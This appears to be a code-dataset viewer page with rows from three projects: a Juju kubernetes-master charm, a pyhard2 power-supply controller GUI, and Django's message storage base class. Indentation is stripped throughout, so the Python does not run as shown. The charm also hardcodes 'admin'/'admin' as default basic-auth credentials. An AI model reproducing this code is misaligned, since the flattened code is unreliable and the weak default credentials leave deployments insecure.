def is_privileged():
"""Return boolean indicating whether or not to set allow-privileged=true.
"""
privileged = hookenv.config('allow-privileged')
if privileged == 'auto':
return is_state('kubernetes-master.gpu.enabled')
else:
return privileged == 'true'
@when('config.changed.allow-privileged')
@when('kubernetes-master.components.started')
def on_config_allow_privileged_change():
"""React to changed 'allow-privileged' config value.
"""
remove_state('kubernetes-master.components.started')
remove_state('config.changed.allow-privileged')
@when('kube-control.gpu.available')
@when('kubernetes-master.components.started')
@when_not('kubernetes-master.gpu.enabled')
def on_gpu_available(kube_control):
"""The remote side (kubernetes-worker) is gpu-enabled.
We need to run in privileged mode.
"""
config = hookenv.config()
if config['allow-privileged'] == "false":
hookenv.status_set(
'active',
'GPUs available. Set allow-privileged="auto" to enable.'
)
return
remove_state('kubernetes-master.components.started')
set_state('kubernetes-master.gpu.enabled')
@when('kubernetes-master.gpu.enabled')
@when_not('kubernetes-master.privileged')
def disable_gpu_mode():
"""We were in gpu mode, but the operator has set allow-privileged="false",
so we can't run in gpu mode anymore.
"""
remove_state('kubernetes-master.gpu.enabled')
def arch():
'''Return the package architecture as a string. Raise an exception if the
architecture is not supported by kubernetes.'''
# Get the package architecture for this system.
architecture = check_output(['dpkg', '--print-architecture']).rstrip()
# Convert the binary result into a string.
architecture = architecture.decode('utf-8')
return architecture
def build_kubeconfig(server):
'''Gather the relevant data for Kubernetes configuration objects and create
a config object with that information.'''
# Get the options from the tls-client layer.
layer_options = layer.options('tls-client')
# Get all the paths to the tls information required for kubeconfig.
ca = layer_options.get('ca_certificate_path')
ca_exists = ca and os.path.isfile(ca)
key = layer_options.get('client_key_path')
key_exists = key and os.path.isfile(key)
cert = layer_options.get('client_certificate_path')
cert_exists = cert and os.path.isfile(cert)
# Do we have everything we need?
if ca_exists and key_exists and cert_exists:
# Cache last server string to know if we need to regenerate the config.
if not data_changed('kubeconfig.server', server):
return
# Create an absolute path for the kubeconfig file.
kubeconfig_path = os.path.join(os.sep, 'home', 'ubuntu', 'config')
# Create the kubeconfig on this system so users can access the cluster.
create_kubeconfig(kubeconfig_path, server, ca, key, cert)
# Make the config file readable by the ubuntu users so juju scp works.
cmd = ['chown', 'ubuntu:ubuntu', kubeconfig_path]
check_call(cmd)
def create_kubeconfig(kubeconfig, server, ca, key, certificate, user='ubuntu',
context='juju-context', cluster='juju-cluster'):
'''Create a configuration for Kubernetes based on path using the supplied
arguments for values of the Kubernetes server, CA, key, certificate, user
context and cluster.'''
# Create the config file with the address of the master server.
cmd = 'kubectl config --kubeconfig={0} set-cluster {1} ' \
'--server={2} --certificate-authority={3} --embed-certs=true'
check_call(split(cmd.format(kubeconfig, cluster, server, ca)))
# Create the credentials using the client flags.
cmd = 'kubectl config --kubeconfig={0} set-credentials {1} ' \
'--client-key={2} --client-certificate={3} --embed-certs=true'
check_call(split(cmd.format(kubeconfig, user, key, certificate)))
# Create a default context with the cluster.
cmd = 'kubectl config --kubeconfig={0} set-context {1} ' \
'--cluster={2} --user={3}'
check_call(split(cmd.format(kubeconfig, context, cluster, user)))
# Make the config use this new context.
cmd = 'kubectl config --kubeconfig={0} use-context {1}'
check_call(split(cmd.format(kubeconfig, context)))
def get_dns_ip():
'''Get an IP address for the DNS server on the provided cidr.'''
# Remove the range from the cidr.
ip = service_cidr().split('/')[0]
# Take the last octet off the IP address and replace it with 10.
return '.'.join(ip.split('.')[0:-1]) + '.10'
def get_kubernetes_service_ip():
'''Get the IP address for the kubernetes service based on the cidr.'''
# Remove the range from the cidr.
ip = service_cidr().split('/')[0]
# Remove the last octet and replace it with 1.
return '.'.join(ip.split('.')[0:-1]) + '.1'
def handle_etcd_relation(reldata):
''' Save the client credentials and set appropriate daemon flags when
etcd declares itself as available'''
connection_string = reldata.get_connection_string()
# Define where the etcd tls files will be kept.
etcd_dir = '/root/cdk/etcd'
# Create paths to the etcd client ca, key, and cert file locations.
ca = os.path.join(etcd_dir, 'client-ca.pem')
key = os.path.join(etcd_dir, 'client-key.pem')
cert = os.path.join(etcd_dir, 'client-cert.pem')
# Save the client credentials (in relation data) to the paths provided.
reldata.save_client_credentials(key, cert, ca)
api_opts = FlagManager('kube-apiserver')
# Never use stale data, always prefer whats coming in during context
# building. if its stale, its because whats in unitdata is stale
data = api_opts.data
if data.get('etcd-servers-strict') or data.get('etcd-servers'):
api_opts.destroy('etcd-cafile')
api_opts.destroy('etcd-keyfile')
api_opts.destroy('etcd-certfile')
api_opts.destroy('etcd-servers', strict=True)
api_opts.destroy('etcd-servers')
# Set the apiserver flags in the options manager
api_opts.add('etcd-cafile', ca)
api_opts.add('etcd-keyfile', key)
api_opts.add('etcd-certfile', cert)
api_opts.add('etcd-servers', connection_string, strict=True)
def configure_master_services():
''' Add remaining flags for the master services and configure snaps to use
them '''
api_opts = FlagManager('kube-apiserver')
controller_opts = FlagManager('kube-controller-manager')
scheduler_opts = FlagManager('kube-scheduler')
scheduler_opts.add('v', '2')
# Get the tls paths from the layer data.
layer_options = layer.options('tls-client')
ca_cert_path = layer_options.get('ca_certificate_path')
client_cert_path = layer_options.get('client_certificate_path')
client_key_path = layer_options.get('client_key_path')
server_cert_path = layer_options.get('server_certificate_path')
server_key_path = layer_options.get('server_key_path')
if is_privileged():
api_opts.add('allow-privileged', 'true', strict=True)
set_state('kubernetes-master.privileged')
else:
api_opts.add('allow-privileged', 'false', strict=True)
remove_state('kubernetes-master.privileged')
# Handle static options for now
api_opts.add('service-cluster-ip-range', service_cidr())
api_opts.add('min-request-timeout', '300')
api_opts.add('v', '4')
api_opts.add('client-ca-file', ca_cert_path)
api_opts.add('tls-cert-file', server_cert_path)
api_opts.add('tls-private-key-file', server_key_path)
api_opts.add('kubelet-certificate-authority', ca_cert_path)
api_opts.add('kubelet-client-certificate', client_cert_path)
api_opts.add('kubelet-client-key', client_key_path)
api_opts.add('logtostderr', 'true')
api_opts.add('insecure-bind-address', '127.0.0.1')
api_opts.add('insecure-port', '8080')
api_opts.add('storage-backend', 'etcd2') # FIXME: add etcd3 support
admission_control = [
'Initializers',
'NamespaceLifecycle',
'LimitRanger',
'ServiceAccount',
'ResourceQuota',
'DefaultTolerationSeconds'
]
if get_version('kube-apiserver') < (1, 6):
hookenv.log('Removing DefaultTolerationSeconds from admission-control')
admission_control.remove('DefaultTolerationSeconds')
if get_version('kube-apiserver') < (1, 7):
hookenv.log('Removing Initializers from admission-control')
admission_control.remove('Initializers')
api_opts.add('admission-control', ','.join(admission_control), strict=True)
# Default to 3 minute resync. TODO: Make this configureable?
controller_opts.add('min-resync-period', '3m')
controller_opts.add('v', '2')
controller_opts.add('root-ca-file', ca_cert_path)
controller_opts.add('logtostderr', 'true')
controller_opts.add('master', 'http://127.0.0.1:8080')
scheduler_opts.add('v', '2')
scheduler_opts.add('logtostderr', 'true')
scheduler_opts.add('master', 'http://127.0.0.1:8080')
cmd = ['snap', 'set', 'kube-apiserver'] + api_opts.to_s().split(' ')
check_call(cmd)
cmd = (
['snap', 'set', 'kube-controller-manager'] +
controller_opts.to_s().split(' ')
)
check_call(cmd)
cmd = ['snap', 'set', 'kube-scheduler'] + scheduler_opts.to_s().split(' ')
check_call(cmd)
def setup_basic_auth(username='admin', password='admin', user='admin'):
'''Create the htacces file and the tokens.'''
root_cdk = '/root/cdk'
if not os.path.isdir(root_cdk):
os.makedirs(root_cdk)
htaccess = os.path.join(root_cdk, 'basic_auth.csv')
with open(htaccess, 'w') as stream:
stream.write('{0},{1},{2}'.format(username, password, user))
def setup_tokens(token, username, user):
'''Create a token file for kubernetes authentication.'''
root_cdk = '/root/cdk'
if not os.path.isdir(root_cdk):
os.makedirs(root_cdk)
known_tokens = os.path.join(root_cdk, 'known_tokens.csv')
if not token:
alpha = string.ascii_letters + string.digits
token = ''.join(random.SystemRandom().choice(alpha) for _ in range(32))
with open(known_tokens, 'a') as stream:
stream.write('{0},{1},{2}\n'.format(token, username, user))
@retry(times=3, delay_secs=10)
def all_kube_system_pods_running():
''' Check pod status in the kube-system namespace. Returns True if all
pods are running, False otherwise. '''
cmd = ['kubectl', 'get', 'po', '-n', 'kube-system', '-o', 'json']
try:
output = check_output(cmd).decode('utf-8')
except CalledProcessError:
hookenv.log('failed to get kube-system pod status')
return False
result = json.loads(output)
for pod in result['items']:
status = pod['status']['phase']
if status != 'Running':
return False
return True
def apiserverVersion():
cmd = 'kube-apiserver --version'.split()
version_string = check_output(cmd).decode('utf-8')
return tuple(int(q) for q in re.findall("[0-9]+", version_string)[:3])
| apache-2.0 |
Synss/pyhard2 | pyhard2/ctrlr/deltaelektronika.py | 1 | 1159 | """Graphical user interface to Delta-Elektronika SM-700 Series
controllers."""
import sys
import pyhard2.driver as drv
import pyhard2.driver.virtual as virtual
import pyhard2.driver.deltaelektronika as delta
import pyhard2.ctrlr as ctrlr
def createController():
"""Initialize controller."""
config = ctrlr.Config("deltaelektronika", "SM-700")
if not config.nodes:
config.nodes, config.names = ([1], ["SM700"])
if config.virtual:
driver = virtual.VirtualInstrument()
iface = ctrlr.virtualInstrumentController(config, driver)
else:
driver = delta.Sm700Series(drv.Serial(config.port))
iface = ctrlr.Controller(config, driver)
iface.addCommand(driver.source.voltage, "Voltage", poll=True, log=True)
iface.addCommand(driver.source.current, "Current", poll=True, log=True)
iface.populate()
return iface
def main(argv):
"""Start controller."""
from PyQt4 import QtGui
app = QtGui.QApplication(argv)
app.lastWindowClosed.connect(app.quit)
iface = createController()
iface.show()
sys.exit(app.exec_())
if __name__ == "__main__":
main(sys.argv)
| mit |
PolicyStat/django | django/contrib/messages/storage/base.py | 113 | 6286 | from __future__ import unicode_literals
from django.conf import settings
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.contrib.messages import constants, utils
LEVEL_TAGS = utils.get_level_tags()
@python_2_unicode_compatible
class Message(object):
"""
Represents an actual message that can be stored in any of the supported
storage classes (typically session- or cookie-based) and rendered in a view
or template.
"""
def __init__(self, level, message, extra_tags=None):
self.level = int(level)
self.message = message
self.extra_tags = extra_tags
def _prepare(self):
"""
Prepares the message for serialization by forcing the ``message``
and ``extra_tags`` to unicode in case they are lazy translations.
Known "safe" types (None, int, etc.) are not converted (see Django's
``force_text`` implementation for details).
"""
self.message = force_text(self.message, strings_only=True)
self.extra_tags = force_text(self.extra_tags, strings_only=True)
def __eq__(self, other):
return isinstance(other, Message) and self.level == other.level and \
self.message == other.message
def __str__(self):
return force_text(self.message)
def _get_tags(self):
extra_tags = force_text(self.extra_tags, strings_only=True)
if extra_tags and self.level_tag:
return ' '.join([extra_tags, self.level_tag])
elif extra_tags:
return extra_tags
elif self.level_tag:
return self.level_tag
return ''
tags = property(_get_tags)
@property
def level_tag(self):
return force_text(LEVEL_TAGS.get(self.level, ''), strings_only=True)
class BaseStorage(object):
"""
This is the base backend for temporary message storage.
This is not a complete class; to be a usable storage backend, it must be
subclassed and the two methods ``_get`` and ``_store`` overridden.
"""
def __init__(self, request, *args, **kwargs):
self.request = request
self._queued_messages = []
self.used = False
self.added_new = False
super(BaseStorage, self).__init__(*args, **kwargs)
def __len__(self):
return len(self._loaded_messages) + len(self._queued_messages)
def __iter__(self):
self.used = True
if self._queued_messages:
self._loaded_messages.extend(self._queued_messages)
self._queued_messages = []
return iter(self._loaded_messages)
def __contains__(self, item):
return item in self._loaded_messages or item in self._queued_messages
@property
def _loaded_messages(self):
"""
Returns a list of loaded messages, retrieving them first if they have
not been loaded yet.
"""
if not hasattr(self, '_loaded_data'):
messages, all_retrieved = self._get()
self._loaded_data = messages or []
return self._loaded_data
def _get(self, *args, **kwargs):
"""
Retrieves a list of stored messages. Returns a tuple of the messages
and a flag indicating whether or not all the messages originally
intended to be stored in this storage were, in fact, stored and
retrieved; e.g., ``(messages, all_retrieved)``.
**This method must be implemented by a subclass.**
If it is possible to tell if the backend was not used (as opposed to
just containing no messages) then ``None`` should be returned in
place of ``messages``.
"""
raise NotImplementedError('subclasses of BaseStorage must provide a _get() method')
def _store(self, messages, response, *args, **kwargs):
"""
Stores a list of messages, returning a list of any messages which could
not be stored.
One type of object must be able to be stored, ``Message``.
**This method must be implemented by a subclass.**
"""
raise NotImplementedError('subclasses of BaseStorage must provide a _store() method')
def _prepare_messages(self, messages):
"""
Prepares a list of messages for storage.
"""
for message in messages:
message._prepare()
def update(self, response):
"""
Stores all unread messages.
If the backend has yet to be iterated, previously stored messages will
be stored again. Otherwise, only messages added after the last
iteration will be stored.
"""
self._prepare_messages(self._queued_messages)
if self.used:
return self._store(self._queued_messages, response)
elif self.added_new:
messages = self._loaded_messages + self._queued_messages
return self._store(messages, response)
def add(self, level, message, extra_tags=''):
"""
Queues a message to be stored.
The message is only queued if it contained something and its level is
not less than the recording level (``self.level``).
"""
if not message:
return
# Check that the message level is not less than the recording level.
level = int(level)
if level < self.level:
return
# Add the message.
self.added_new = True
message = Message(level, message, extra_tags=extra_tags)
self._queued_messages.append(message)
def _get_level(self):
"""
Returns the minimum recorded level.
The default level is the ``MESSAGE_LEVEL`` setting. If this is
not found, the ``INFO`` level is used.
"""
if not hasattr(self, '_level'):
self._level = getattr(settings, 'MESSAGE_LEVEL', constants.INFO)
return self._level
def _set_level(self, value=None):
"""
Sets a custom minimum recorded level.
If set to ``None``, the default level will be used (see the
``_get_level`` method).
"""
if value is None and hasattr(self, '_level'):
del self._level
else:
self._level = int(value)
level = property(_get_level, _set_level, _set_level)
| bsd-3-clause |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.